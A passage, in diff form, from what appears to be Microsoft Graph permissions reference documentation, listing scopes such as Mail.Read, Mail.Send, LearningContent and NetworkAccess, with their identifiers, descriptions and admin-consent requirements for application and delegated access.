+Yes |
+Yes |
+
+
+
+
+IndustryData-Run.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f6f5d10b-3024-4d1d-b674-aae4df4a1a73 |
+92685235-50c4-4702-b2c8-36043db6fa79 |
+
+
+| DisplayText |
+View current and previous runs |
+View current and previous runs |
+
+
+| Description |
+Allows the app to read current and previous IndustryData runs without a signed-in user. |
+Allows the app to read current and previous IndustryData runs on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IndustryData-SourceSystem.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+bc167a60-39fe-4865-8b44-78400fc6ed03 |
+49b7016c-89ae-41e7-bd6f-b7170c5490bf |
+
+
+| DisplayText |
+View source system definitions |
+View source system definitions |
+
+
+| Description |
+Allows the app to read source system definitions without a signed-in user. |
+Allows the app to read source system definitions on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IndustryData-SourceSystem.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7d866958-e06e-4dd6-91c6-a086b3f5cfeb |
+9599f005-05d6-4ea7-b1b1-4929768af5d0 |
+
+
+| DisplayText |
+Manage source system definitions |
+Manage source system definitions |
+
+
+| Description |
+Allows the app to read and write source system definitions without a signed-in user. |
+Allows the app to read and write source system definitions on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IndustryData-TimePeriod.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7c55c952-b095-4c23-a522-022bce4cc1e3 |
+c9d51f28-8ccd-42b2-a836-fd8fe9ebf2ae |
+
+
+| DisplayText |
+Read time period definitions |
+Read time period definitions |
+
+
+| Description |
+Allows the app to read time period definitions without a signed-in user. |
+Allows the app to read time period definitions on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IndustryData-TimePeriod.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7afa7744-a782-4a32-b8c2-e3db637e8de7 |
+b6d56528-3032-4f9d-830f-5a24a25e6661 |
+
+
+| DisplayText |
+Manage time period definitions |
+Manage time period definitions |
+
+
+| Description |
+Allows the app to read and write time period definitions without a signed-in user. |
+Allows the app to read and write time period definitions on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+12f4bffb-b598-413c-984b-db99728f8b54 |
+
+
+| DisplayText |
+- |
+Read configurations for protecting organizational data applicable to the user |
+
+
+| Description |
+- |
+Allows the app to read the configurations applicable to the signed-in user for protecting organizational data, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+14f49b9f-4bf2-4d24-b80e-b27ec58409bd |
+- |
+
+
+| DisplayText |
+Read all configurations for protecting organizational data applicable to users |
+- |
+
+
+| Description |
+Allows the app to read all configurations applicable to users for protecting organizational data, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+InformationProtectionContent.Sign.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+cbe6c7e4-09aa-4b8d-b3c3-2dbb59af4b54 |
+- |
+
+
+| DisplayText |
+Sign digests for data |
+- |
+
+
+| Description |
+Allows an app to sign digests for data without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+InformationProtectionContent.Write.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+287bd98c-e865-4e8c-bade-1a85523195b9 |
+- |
+
+
+| DisplayText |
+Create protected content |
+- |
+
+
+| Description |
+Allows the app to create protected content without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+4ad84827-5578-4e18-ad7a-86530b12f884 |
+
+
+| DisplayText |
+- |
+Read user sensitivity labels and label policies. |
+
+
+| Description |
+- |
+Allows an app to read information protection sensitivity labels and label policy settings, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+19da66cb-0fb0-4390-b071-ebc76a349482 |
+- |
+
+
+| DisplayText |
+Read all published labels and label policies for an organization. |
+- |
+
+
+| Description |
+Allows an app to read published sensitivity labels and label policy settings for the entire organization or a specific user, without a signed in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Insights-UserMetric.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+34cbd96c-d824-4755-90d3-1008ef47efc1 |
+7d249730-51a3-4180-8ec1-214f144f1bff |
+
+
+| DisplayText |
+Read all user metrics insights |
+Read user metrics insights |
+
+
+| Description |
+Allows an app to read all user metrics insights, such as daily and monthly active users, without a signed-in user. |
+Allows an app to read user metrics insights, such as daily and monthly active users, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+LearningAssignedCourse.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+ac08cdae-e845-41db-adf9-5899a0ec9ef6 |
+
+
+| DisplayText |
+- |
+Read user's assignments |
+
+
+| Description |
+- |
+Allows the app to read data for the learner's assignments in the organization's directory, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+LearningAssignedCourse.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+535e6066-2894-49ef-ab33-e2c6d064bb81 |
+- |
+
+
+| DisplayText |
+Read all assignments |
+- |
+
+
+| Description |
+Allows the app to read data for all assignments in the organization's directory, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+LearningAssignedCourse.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+236c1cbd-1187-427f-b0f5-b1852454973b |
+- |
+
+
+| DisplayText |
+Read and write all assignments |
+- |
+
+
+| Description |
+Allows the app to create, update, read and delete all assignments in the organization's directory, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+LearningContent.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+8740813e-d8aa-4204-860e-2a0f8f84dbc8 |
+ea4c1fd9-6a9f-4432-8e5d-86e06cc0da77 |
+
+
+| DisplayText |
+Read all learning content |
+Read learning content |
+
+
+| Description |
+Allows the app to read all learning content in the organization's directory, without a signed-in user. |
+Allows the app to read learning content in the organization's directory, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+LearningContent.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+444d6fcb-b738-41e5-b103-ac4f2a2628a3 |
+53cec1c4-a65f-4981-9dc1-ad75dbf1c077 |
+
+
+| DisplayText |
+Manage all learning content |
+Manage learning content |
+
+
+| Description |
+Allows the app to manage all learning content in the organization's directory, without a signed-in user. |
+Allows the app to manage learning content in the organization's directory, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+LearningProvider.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+dd8ce36f-9245-45ea-a99e-8ac398c22861 |
+
+
+| DisplayText |
+- |
+Read learning provider |
+
+
+| Description |
+- |
+Allows the app to read data for the learning provider in the organization's directory, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+LearningProvider.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+40c2eb57-abaf-49f5-9331-e90fd01f7130 |
+
+
+| DisplayText |
+- |
+Manage learning provider |
+
+
+| Description |
+- |
+Allows the app to create, update, read, and delete data for the learning provider in the organization's directory, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+LearningSelfInitiatedCourse.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+f6403ef7-4a96-47be-a190-69ba274c3f11 |
+
+
+| DisplayText |
+- |
+Read user's self-initiated courses |
+
+
+| Description |
+- |
+Allows the app to read data for the learner's self-initiated courses in the organization's directory, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+LearningSelfInitiatedCourse.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+467524fc-ed22-4356-a910-af61191e3503 |
+- |
+
+
+| DisplayText |
+Read all self-initiated courses |
+- |
+
+
+| Description |
+Allows the app to read data for all self-initiated courses in the organization's directory, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+LearningSelfInitiatedCourse.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7654ed61-8965-4025-846a-0856ec02b5b0 |
+- |
+
+
+| DisplayText |
+Read and write all self-initiated courses |
+- |
+
+
+| Description |
+Allows the app to create, update, read and delete all self-initiated courses in the organization's directory, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+LicenseAssignment.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+5facf0c1-8979-4e95-abcf-ff3d079771c0 |
+f55016cc-149c-447e-8f21-7cf3ec1d6350 |
+
+
+| DisplayText |
+Manage all license assignments |
+Manage all license assignments |
+
+
+| Description |
+Allows an app to manage license assignments for users and groups, without a signed-in user. |
+Allows an app to manage license assignments for users and groups, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+LifecycleWorkflows.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7c67316a-232a-4b84-be22-cea2c0906404 |
+9bcb9916-765a-42af-bf77-02282e26b01a |
+
+
+| DisplayText |
+Read all lifecycle workflows resources |
+Read all lifecycle workflows resources |
+
+
+| Description |
+Allows the app to list and read all workflows, tasks and related lifecycle workflows resources without a signed-in user. |
+Allows the app to list and read all workflows, tasks and related lifecycle workflows resources on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+LifecycleWorkflows.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+5c505cf4-8424-4b8e-aa14-ee06e3bb23e3 |
+84b9d731-7db8-4454-8c90-fd9e95350179 |
+
+
+| DisplayText |
+Read and write all lifecycle workflows resources |
+Read and write all lifecycle workflows resources |
+
+
+| Description |
+Allows the app to create, update, list, read and delete all workflows, tasks and related lifecycle workflows resources without a signed-in user. |
+Allows the app to create, update, list, read and delete all workflows, tasks and related lifecycle workflows resources on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ListItems.SelectedOperations.Selected
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+de4e4161-a10a-4dfd-809c-e328d89aefeb |
+d6d361b3-211a-4191-9fa7-15f72de4aac4 |
+
+
+| DisplayText |
+Access selected ListItems without a signed in user. |
+Access selected ListItems, on behalf of the signed-in user |
+
+
+| Description |
+Allow the application to access a subset of listitems without a signed in user. The specific listitems and the permissions granted will be configured in SharePoint Online. |
+Allow the application to access a subset of listitems on behalf of the signed in user. The specific listitems and the permissions granted will be configured in SharePoint Online. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Lists.SelectedOperations.Selected
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+23c5a9bd-d900-4ecf-be26-a0689755d9e5 |
+033b51ee-d6fa-4add-b627-ee680c7212b5 |
+
+
+| DisplayText |
+Access selected Lists without a signed in user. |
+Access selected Lists, on behalf of the signed-in user |
+
+
+| Description |
+Allow the application to access a subset of lists without a signed in user. The specific lists and the permissions granted will be configured in SharePoint Online. |
+Allow the application to access a subset of lists on behalf of the signed in user. The specific lists and the permissions granted will be configured in SharePoint Online. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Mail.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+810c84a8-4a9e-49e6-bf7d-12d183f40d01 |
+570282fd-fa5c-430d-a7fd-fc8dc98a9dca |
+
+
+| DisplayText |
+Read mail in all mailboxes |
+Read user mail |
+
+
+| Description |
+Allows the app to read mail in all mailboxes without a signed-in user. |
+Allows the app to read the signed-in user's mailbox. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
The Mail.Read delegated permission is available for consent in personal Microsoft accounts.
+
+Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Mail.Read application permission.
+Mail.Read is valid valid for both Microsoft accounts and work or school accounts.
+
+Mail.Read.Shared
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+7b9103a5-4610-446b-9670-80643382c1fa |
+
+
+| DisplayText |
+- |
+Read user and shared mail |
+
+
+| Description |
+- |
+Allows the app to read mail a user can access, including their own and shared mail. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+Mail.Read.Shared is only valid for work or school accounts.
+
+Mail.ReadBasic
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6be147d2-ea4f-4b5a-a3fa-3eab6f3c140a |
+a4b8392a-d8d1-4954-a029-8e668a39a170 |
+
+
+| DisplayText |
+Read basic mail in all mailboxes |
+Read user basic mail |
+
+
+| Description |
+Allows the app to read basic mail properties in all mailboxes without a signed-in user. Includes all properties except body, previewBody, attachments and any extended properties. |
+Allows the app to read email in the signed-in user's mailbox except body, previewBody, attachments and any extended properties. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
The Mail.ReadBasic delegated permission is available for consent in personal Microsoft accounts.
+
+Mail.ReadBasic.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+693c5e45-0940-467d-9b8a-1022fb9d42ef |
+- |
+
+
+| DisplayText |
+Read basic mail in all mailboxes |
+- |
+
+
+| Description |
+Allows the app to read basic mail properties in all mailboxes without a signed-in user. Includes all properties except body, previewBody, attachments and any extended properties. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Mail.ReadBasic.Shared
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+b11fa0e7-fdb7-4dc9-b1f1-59facd463480 |
+
+
+| DisplayText |
+- |
+Read user and shared basic mail |
+
+
+| Description |
+- |
+Allows the app to read mail the signed-in user can access, including their own and shared mail, except for body, bodyPreview, uniqueBody, attachments, extensions, and any extended properties. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+Mail.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+e2a3a72e-5f79-4c64-b1b1-878b674786c9 |
+024d486e-b451-40bb-833d-3e66d98c5c73 |
+
+
+| DisplayText |
+Read and write mail in all mailboxes |
+Read and write access to user mail |
+
+
+| Description |
+Allows the app to create, read, update, and delete mail in all mailboxes without a signed-in user. Does not include permission to send mail. |
+Allows the app to create, read, update, and delete email in user mailboxes. Does not include permission to send mail. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
The Mail.ReadWrite delegated permission is available for consent in personal Microsoft accounts.
+
+Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Mail.ReadWrite application permission.
+Mail.ReadWrite is valid valid for both Microsoft accounts and work or school accounts.
+
+Mail.ReadWrite.Shared
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+5df07973-7d5d-46ed-9847-1271055cbd51 |
+
+
+| DisplayText |
+- |
+Read and write user and shared mail |
+
+
+| Description |
+- |
+Allows the app to create, read, update, and delete mail a user has permission to access, including their own and shared mail. Does not include permission to send mail. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+Mail.ReadWrite.Shared is only valid for work or school accounts.
+
+Mail.Send
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b633e1c5-b582-4048-a93e-9f11b44c7e96 |
+e383f46e-2787-4529-855e-0e479a3ffac0 |
+
+
+| DisplayText |
+Send mail as any user |
+Send mail as a user |
+
+
+| Description |
+Allows the app to send mail as any user without a signed-in user. |
+Allows the app to send mail as users in the organization. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
The Mail.Send delegated permission is available for consent in personal Microsoft accounts.
+
+Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Mail.Send application permission.
+Mail.Send is valid valid for both Microsoft accounts and work or school accounts.
+With the Mail.Send permission, an app can send mail and save a copy to the user's Sent Items folder, even if the app isn't granted the Mail.ReadWrite or Mail.ReadWrite.Shared permission.
+
+Mail.Send.Shared
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+a367ab51-6b49-43bf-a716-a1fb06d2a174 |
+
+
+| DisplayText |
+- |
+Send mail on behalf of others |
+
+
+| Description |
+- |
+Allows the app to send mail as the signed-in user, including sending on-behalf of others. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+Mail.Send.Shared is only valid for work or school accounts.
+With the Mail.Send.Shared permission, an app can send mail and save a copy to the user's Sent Items folder, even if the app isn't granted the Mail.ReadWrite or Mail.ReadWrite.Shared permission.
+
+MailboxSettings.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+40f97065-369a-49f4-947c-6a255697ae91 |
+87f447af-9fa4-4c32-9dfa-4a57a73d18ce |
+
+
+| DisplayText |
+Read all user mailbox settings |
+Read user mailbox settings |
+
+
+| Description |
+Allows the app to read user's mailbox settings without a signed-in user. Does not include permission to send mail. |
+Allows the app to the read user's mailbox settings. Does not include permission to send mail. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
The MailboxSettings.Read delegated permission is available for consent in personal Microsoft accounts.
+
+Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the MailboxSettings.Read application permission.
+MailboxSettings.Read is valid valid for both Microsoft accounts and work or school accounts.
+
+MailboxSettings.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6931bccd-447a-43d1-b442-00a195474933 |
+818c620a-27a9-40bd-a6a5-d96f7d610b4b |
+
+
+| DisplayText |
+Read and write all user mailbox settings |
+Read and write user mailbox settings |
+
+
+| Description |
+Allows the app to create, read, update, and delete user's mailbox settings without a signed-in user. Does not include permission to send mail. |
+Allows the app to create, read, update, and delete user's mailbox settings. Does not include permission to send mail. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
The MailboxSettings.ReadWrite delegated permission is available for consent in personal Microsoft accounts.
+
+Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the MailboxSettings.ReadWrite application permission.
+MailboxSettings.ReadWrite is valid valid for both Microsoft accounts and work or school accounts.
+
+ManagedTenants.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+dc34164e-6c4a-41a0-be89-3ae2fbad7cd3 |
+
+
+| DisplayText |
+- |
+Read all managed tenant information |
+
+
+| Description |
+- |
+Allows the app to read all managed tenant information on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+ManagedTenants.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+b31fa710-c9b3-4d9e-8f5e-8036eecddab9 |
+
+
+| DisplayText |
+- |
+Read and write all managed tenant information |
+
+
+| Description |
+- |
+Allows the app to read and write all managed tenant information on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+Member.Read.Hidden
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+658aa5d8-239f-45c4-aa12-864f4fc7e490 |
+f6a3db3e-f7e8-4ed2-a414-557c8c9830be |
+
+
+| DisplayText |
+Read all hidden memberships |
+Read hidden memberships |
+
+
+| Description |
+Allows the app to read the memberships of hidden groups and administrative units without a signed-in user. |
+Allows the app to read the memberships of hidden groups and administrative units on behalf of the signed-in user, for those hidden groups and administrative units that the signed-in user has access to. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+MultiTenantOrganization.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+4f994bc0-31bb-44bb-b480-7a7c1be8c02e |
+526aa72a-5878-49fe-bf4e-357973af9b06 |
+
+
+| DisplayText |
+Read all multi-tenant organization details and tenants |
+Read multi-tenant organization details and tenants |
+
+
+| Description |
+Allows the app to read all multi-tenant organization details and tenants, without a signed-in user. |
+Allows the app to read multi-tenant organization details and tenants on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+MultiTenantOrganization.ReadBasic.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f9c2b2a7-3895-4b2e-80f6-c924b456e50b |
+225db56b-15b2-4daa-acb3-0eec2bbe4849 |
+
+
+| DisplayText |
+Read multi-tenant organization basic details and active tenants |
+Read multi-tenant organization basic details and active tenants |
+
+
+| Description |
+Allows the app to read multi-tenant organization basic details and active tenants, without a signed-in user. |
+Allows the app to read multi-tenant organization basic details and active tenants on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+MultiTenantOrganization.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+920def01-ca61-4d2d-b3df-105b46046a70 |
+77af1528-84f3-4023-8d90-d219cd433108 |
+
+
+| DisplayText |
+Read and write all multi-tenant organization details and tenants |
+Read and write multi-tenant organization details and tenants |
+
+
+| Description |
+Allows the app to read and write all multi-tenant organization details and tenants, without a signed-in user. |
+Allows the app to read and write multi-tenant organization details and tenants on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+NetworkAccess.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+e30060de-caa5-4331-99d3-6ac6c966a9a4 |
+2f7013e0-ab4e-447f-a5e1-5d419950692d |
+
+
+| DisplayText |
+Read all network access information |
+Read all network access information |
+
+
+| Description |
+Allows the app to read all network access information and configuration settings without a signed-in user. |
+Allows the app to read all network access information on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+NetworkAccess.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b10642fc-a6cf-4c46-87f9-e1f96c2a18aa |
+ae2df9c5-f18d-4ec4-a51b-bdeb807f177b |
+
+
+| DisplayText |
+Read and write all network access information |
+Read and write all network access information |
+
+
+| Description |
+Allows the app to read and write all network access information and configuration settings without a signed-in user. |
+Allows the app to read and write all network access information and configuration settings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+NetworkAccessBranch.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+39ae4a24-1ef0-49e8-9d63-2a66f5c39edd |
+4051c7fc-b429-4804-8d80-8f1f8c24a6f7 |
+
+
+| DisplayText |
+Read properties of all branches for network access |
+Read properties of branches for network access |
+
+
+| Description |
+Allows the app to read your organization's network access branches, without a signed-in user. |
+Allows the app to read your organization's branches for network access on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+NetworkAccessBranch.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+8137102d-ec16-4191-aaf8-7aeda8026183 |
+b8a36cc2-b810-461a-baa4-a7281e50bd5c |
+
+
+| DisplayText |
+Read and write properties of all branches for network access |
+Read and write properties of branches for network access |
+
+
+| Description |
+Allows the app to read and write your organization's network access branches, without a signed-in user. |
+Allows the app to read and write your organization's branches for network access on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+NetworkAccessPolicy.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+8a3d36bf-cb46-4bcc-bec9-8d92829dab84 |
+ba22922b-752c-446f-89d7-a2d92398fceb |
+
+
+| DisplayText |
+Read all security and routing policies for network access |
+Read security and routing policies for network access |
+
+
+| Description |
+Allows the app to read your organization's network access policies, without a signed-in user. |
+Allows the app to read your organization's security and routing network access policies on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+NetworkAccessPolicy.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f0c341be-8348-4989-8e43-660324294538 |
+b1fbad0f-ef6e-42ed-8676-bca7fa3e7291 |
+
+
+| DisplayText |
+Read and write all security and routing policies for network access |
+Read and write security and routing policies for network access |
+
+
+| Description |
+Allows the app to read and write your organization's network access policies, without a signed-in user. |
+Allows the app to read and write your organization's security and routing network access policies on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+NetworkAccess-Reports.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+40049381-3cc1-42af-94ec-5ce755db4b0d |
+b0c61509-cfc3-42bd-9bd4-66d81785fee4 |
+
+
+| DisplayText |
+Read all network access reports |
+Read all network access reports |
+
+
+| Description |
+Allows the app to read all network access reports without a signed-in user. |
+Allows the app to read all network access reports on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Notes.Create
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+9d822255-d64d-4b7a-afdb-833b9a97ed02 |
+
+
+| DisplayText |
+- |
+Create user OneNote notebooks |
+
+
+| Description |
+- |
+Allows the app to read the titles of OneNote notebooks and sections and to create new pages, notebooks, and sections on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The Notes.Create delegated permission is available for consent in personal Microsoft accounts.
+
+Notes.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+371361e4-b9e2-4a3f-8315-2a301a3b0a3d |
+
+
+| DisplayText |
+- |
+Read user OneNote notebooks |
+
+
+| Description |
+- |
+Allows the app to read OneNote notebooks on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The Notes.Read delegated permission is available for consent in personal Microsoft accounts.
+
+Notes.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+3aeca27b-ee3a-4c2b-8ded-80376e2134a4 |
+dfabfca6-ee36-4db2-8208-7a28381419b3 |
+
+
+| DisplayText |
+Read all OneNote notebooks |
+Read all OneNote notebooks that user can access |
+
+
+| Description |
+Allows the app to read all the OneNote notebooks in your organization, without a signed-in user. |
+Allows the app to read OneNote notebooks that the signed-in user has access to in the organization. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+Notes.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+615e26af-c38a-4150-ae3e-c3b0d4cb1d6a |
+
+
+| DisplayText |
+- |
+Read and write user OneNote notebooks |
+
+
+| Description |
+- |
+Allows the app to read, share, and modify OneNote notebooks on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The Notes.ReadWrite delegated permission is available for consent in personal Microsoft accounts.
+
+Notes.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+0c458cef-11f3-48c2-a568-c66751c238c0 |
+64ac0503-b4fa-45d9-b544-71a463f05da0 |
+
+
+| DisplayText |
+Read and write all OneNote notebooks |
+Read and write all OneNote notebooks that user can access |
+
+
+| Description |
+Allows the app to read all the OneNote notebooks in your organization, without a signed-in user. |
+Allows the app to read, share, and modify OneNote notebooks that the signed-in user has access to in the organization. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+Notes.ReadWrite.CreatedByApp
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+ed68249d-017c-4df5-9113-e684c7f8760b |
+
+
+| DisplayText |
+- |
+Limited notebook access (deprecated) |
+
+
+| Description |
+- |
+This is deprecated! Do not use! This permission no longer has any effect. You can safely consent to it. No additional privileges will be granted to the app. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+Notifications.ReadWrite.CreatedByApp
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+89497502-6e42-46a2-8cb2-427fd3df970a |
+
+
+| DisplayText |
+- |
+Deliver and manage user notifications for this app |
+
+
+| Description |
+- |
